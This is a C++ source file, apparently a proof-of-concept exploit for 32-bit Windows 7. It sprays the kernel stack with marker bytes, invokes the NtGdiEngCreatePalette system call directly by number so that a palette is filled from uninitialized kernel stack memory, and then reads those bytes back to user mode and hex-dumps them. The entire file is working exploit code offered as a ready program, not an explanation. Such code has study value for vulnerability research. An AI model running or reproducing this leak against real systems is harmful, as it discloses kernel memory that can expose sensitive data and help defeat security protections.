#include <Windows.h>
|
#include <winddi.h>
|
#include <cstdio>
|
|
extern "C"
|
NTSTATUS WINAPI NtMapUserPhysicalPages(
|
PVOID BaseAddress,
|
ULONG NumberOfPages,
|
PULONG PageFrameNumbers
|
);
|
|
// For native 32-bit execution.
|
extern "C"
|
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
|
__asm{mov eax, ApiNumber};
|
__asm{lea edx, ApiNumber + 4};
|
__asm{int 0x2e};
|
}
|
|
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
for (ULONG i = 0; i < dwBytes; i += 16) {
|
printf("%.8x: ", i);
|
|
for (ULONG j = 0; j < 16; j++) {
|
if (i + j < dwBytes) {
|
printf("%.2x ", Data[i + j]);
|
}
|
else {
|
printf("?? ");
|
}
|
}
|
|
for (ULONG j = 0; j < 16; j++) {
|
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
printf("%c", Data[i + j]);
|
}
|
else {
|
printf(".");
|
}
|
}
|
|
printf("\n");
|
}
|
}
|
|
VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
|
PBYTE _ptr = (PBYTE)ptr;
|
for (ULONG i = 0; i < size; i++) {
|
_ptr[i] = byte;
|
}
|
}
|
|
VOID SprayKernelStack() {
|
// Buffer allocated in static program memory, hence doesn't touch the local stack.
|
static SIZE_T buffer[1024];
|
|
// Fill the buffer with 'A's and spray the kernel stack.
|
MyMemset(buffer, 'A', sizeof(buffer));
|
NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);
|
|
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
|
MyMemset(buffer, 'B', sizeof(buffer));
|
}
|
|
int main() {
|
// Windows 7 32-bit.
|
CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;
|
|
// Initialize the thread as GUI.
|
LoadLibrary(L"user32.dll");
|
|
// Fill the kernel stack with some marker 'A' bytes.
|
SprayKernelStack();
|
|
// Create a Palette object with 256 4-byte uninitialized colors from the kernel stack.
|
HPALETTE hpal = (HPALETTE)SystemCall32(__NR_NtGdiEngCreatePalette, PAL_INDEXED, 256, NULL, 0.0f, 0.0f, 0.0f);
|
if (hpal == NULL) {
|
printf("[-] NtGdiEngCreatePalette failed.\n");
|
return 1;
|
}
|
|
// Retrieve the uninitialized bytes back to user-mode.
|
PALETTEENTRY palentries[256] = { /* zero padding */ };
|
if (GetPaletteEntries(hpal, 0, 256, palentries) != 256) {
|
printf("[-] GetPaletteEntries failed.\n");
|
return 1;
|
}
|
|
// Dump the data on screen.
|
PrintHex((PBYTE)palentries, sizeof(palentries));
|
|
return 0;
|
}
|